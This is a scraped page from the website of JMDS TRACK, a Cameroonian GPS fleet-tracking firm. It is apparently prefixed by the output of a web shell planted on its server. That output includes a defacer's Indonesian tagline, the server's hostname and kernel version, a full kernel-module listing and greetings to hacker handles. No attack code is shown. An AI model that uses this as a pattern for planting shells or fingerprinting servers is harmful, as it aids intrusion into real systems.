Ganteng Doang Upload Shell Gak Bisa


Linux server.jmdstrack.com 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
/ proc/

//proc/modules

xt_time 12661 4 - Live 0x0000000000000000
xt_conntrack 12760 4 - Live 0x0000000000000000
xt_REDIRECT 12757 2 - Live 0x0000000000000000
nf_nat_redirect 12771 1 xt_REDIRECT, Live 0x0000000000000000
iptable_nat 12875 1 - Live 0x0000000000000000
nf_conntrack_ipv4 19149 5 - Live 0x0000000000000000
nf_defrag_ipv4 12729 1 nf_conntrack_ipv4, Live 0x0000000000000000
nf_nat_ipv4 14115 1 iptable_nat, Live 0x0000000000000000
ip6table_nat 12864 1 - Live 0x0000000000000000
nf_conntrack_ipv6 18935 1 - Live 0x0000000000000000
nf_defrag_ipv6 35104 1 nf_conntrack_ipv6, Live 0x0000000000000000
nf_nat_ipv6 14131 1 ip6table_nat, Live 0x0000000000000000
nf_nat 26583 3 nf_nat_redirect,nf_nat_ipv4,nf_nat_ipv6, Live 0x0000000000000000
nf_conntrack 143455 6 xt_conntrack,nf_conntrack_ipv4,nf_nat_ipv4,nf_conntrack_ipv6,nf_nat_ipv6,nf_nat, Live 0x0000000000000000
libcrc32c 12644 2 nf_nat,nf_conntrack, Live 0x0000000000000000
xt_multiport 12798 18 - Live 0x0000000000000000
tcp_diag 12591 0 - Live 0x0000000000000000
iptable_filter 12810 1 - Live 0x0000000000000000
inet_diag 18949 1 tcp_diag, Live 0x0000000000000000
ip6table_filter 12815 1 - Live 0x0000000000000000
xt_owner 12534 16 - Live 0x0000000000000000
ip6_tables 26912 2 ip6table_nat,ip6table_filter, Live 0x0000000000000000
loop 28072 2 - Live 0x0000000000000000
sunrpc 366617 1 - Live 0x0000000000000000
dm_mirror 22326 0 - Live 0x0000000000000000
dm_region_hash 20813 1 dm_mirror, Live 0x0000000000000000
dm_log 18411 2 dm_mirror,dm_region_hash, Live 0x0000000000000000
dm_mod 128595 2 dm_mirror,dm_log, Live 0x0000000000000000
nfit 59735 0 - Live 0x0000000000000000
libnvdimm 163620 1 nfit, Live 0x0000000000000000
iosf_mbi 15582 0 - Live 0x0000000000000000
crc32_pclmul 13133 0 - Live 0x0000000000000000
ghash_clmulni_intel 13273 0 - Live 0x0000000000000000
cirrus 24171 1 - Live 0x0000000000000000
ttm 100769 1 cirrus, Live 0x0000000000000000
drm_kms_helper 186531 1 cirrus, Live 0x0000000000000000
aesni_intel 189456 1 - Live 0x0000000000000000
ppdev 17671 0 - Live 0x0000000000000000
sg 40719 0 - Live 0x0000000000000000
syscopyarea 12529 1 drm_kms_helper, Live 0x0000000000000000
lrw 13286 1 aesni_intel, Live 0x0000000000000000
sysfillrect 12701 1 drm_kms_helper, Live 0x0000000000000000
sysimgblt 12640 1 drm_kms_helper, Live 0x0000000000000000
gf128mul 15139 1 lrw, Live 0x0000000000000000
glue_helper 13990 1 aesni_intel, Live 0x0000000000000000
ablk_helper 13597 1 aesni_intel, Live 0x0000000000000000
cryptd 21190 3 ghash_clmulni_intel,aesni_intel,ablk_helper, Live 0x0000000000000000
fb_sys_fops 12703 1 drm_kms_helper, Live 0x0000000000000000
joydev 17389 0 - Live 0x0000000000000000
drm 468454 4 cirrus,ttm,drm_kms_helper, Live 0x0000000000000000
parport_pc 28205 0 - Live 0x0000000000000000
pcspkr 12718 0 - Live 0x0000000000000000
virtio_balloon 18015 0 - Live 0x0000000000000000
parport 46395 2 ppdev,parport_pc, Live 0x0000000000000000
i2c_piix4 22401 0 - Live 0x0000000000000000
drm_panel_orientation_quirks 17180 1 drm, Live 0x0000000000000000
ip_tables 27126 2 iptable_nat,iptable_filter, Live 0x0000000000000000
ext4 592325 2 - Live 0x0000000000000000
mbcache 14958 1 ext4, Live 0x0000000000000000
jbd2 107486 1 ext4, Live 0x0000000000000000
sd_mod 46281 6 - Live 0x0000000000000000
crc_t10dif 12912 1 sd_mod, Live 0x0000000000000000
crct10dif_generic 12647 0 - Live 0x0000000000000000
ata_generic 12923 0 - Live 0x0000000000000000
pata_acpi 13053 0 - Live 0x0000000000000000
virtio_net 27994 0 - Live 0x0000000000000000
net_failover 18147 1 virtio_net, Live 0x0000000000000000
virtio_console 28076 1 - Live 0x0000000000000000
failover 13374 1 net_failover, Live 0x0000000000000000
virtio_scsi 18463 1 - Live 0x0000000000000000
ata_piix 35052 0 - Live 0x0000000000000000
libata 247190 3 ata_generic,pata_acpi,ata_piix, Live 0x0000000000000000
crct10dif_pclmul 14307 1 - Live 0x0000000000000000
crct10dif_common 12595 3 crc_t10dif,crct10dif_generic,crct10dif_pclmul, Live 0x0000000000000000
crc32c_intel 22094 1 - Live 0x0000000000000000
serio_raw 13434 0 - Live 0x0000000000000000
virtio_pci 22985 0 - Live 0x0000000000000000
floppy 73489 0 - Live 0x0000000000000000
virtio_ring 22991 5 virtio_balloon,virtio_net,virtio_console,virtio_scsi,virtio_pci, Live 0x0000000000000000
virtio 14959 5 virtio_balloon,virtio_net,virtio_console,virtio_scsi,virtio_pci, Live 0x0000000000000000
			
			


Thanks For 0xGh05T - DSRF14 - Mr.Dan07 - Leri01 - FxshX7 - AlkaExploiter - xLoveSyndrome'z - Acep Gans'z

JMDS TRACK – Just Another Diagnostics Lab Site

Home

JMDS TRACK Cameroon

Boost the productivity of your mobile ressources


Make An Appointment


Fleet management

  1. Reduce the operting cost and the unavailability of your vehicles
  2. reduce the fuel consumption of your fleet
  3. Improve the driving dehavior and safety of your drivers
  4. optimize the utilization rate of your equipment 
  5. protect your vehicle against theft
  6. Improve the quality of your customer service


Find out more

Assets management

  1. Track the roaming of your equipment
  2. Optimise the management of your assets on site and during transport
  3. Secure the transport of your goods
  4. Make your team responsible for preventing the loss of tools, equipment
  5. Take a real-time inventory of your equipment on site
  6. Easily find your mobile objects or equipment



Find out more



Find out more

Antitheft solutions

  1. Secure your vehicles and machinery and increase your chances of recovering them in the event of theft
  2. Protect your assets and reduce the costs associated with their loss
  3. Combine immobiliser and driver identification and limit the risk of theft
  4. Identify fuel theft and reduce costs
  5. Protect your goods and take no more risks
  6. Be alerted to abnormal events

Our Location

 Douala BP cité 

     and

Yaoundé Total Essos


Make An Appointment


Get Directions

682230363/ 677481892

What makes us different from others

  • young and dynamic team
  • call center 24/24 7/7
  • roaming throughout Africa
  • team of developers who can develop customer-specific solutions
  • diversity of services
  • reactive and prompt after-sales service when soliciting a customer or a malfunction
  • Free Maintenance and installation in the cities of Douala and Yaounde

https://youtu.be/xI1cz_Jh2x8

15+
years of experience in GPS system development, production and deployment.

15 Collaborators

More than 15 employees dedicated to the research and development of new applications and to customer care

5 000 Vehicles and mobile assets

5 000 vehicles and mobile assets under management, in Africa

Our Partners










Latest Case Studies

Our current projects 

5/5
Bon SAV , SATISFAIT DU TRAITEMENT DES REQUETES

M DIPITA CHRISTIAN
Logistic Safety Manager Road Safety Manager
5/5
La réactivité de JMDS est excellente
Nous restons satisfait dans l’ensemble des prestations relatives a la couverture de notre parc automobile

Hervé Frédéric NDENGUE
Chef Service Adjoint de la Sécurité Générale (CNPS)
5/5
L’APPLICATION EMIXIS est convivial A L’utilisation
BEIG-3 SARL
DIRECTOR GENERAL
5/5
Nevertheless I am delighted with the service
MR. BISSE BENJAMIN
CUSTOMER

Subsribe To Our Newsletter

Stay in touch with us to get latest news and special offers.



Address JMDS TRACK

Douala bp cité



and

YAOUNDE Total Essos

Call Us

+237682230363



Email Us


info@jmdstrack.cm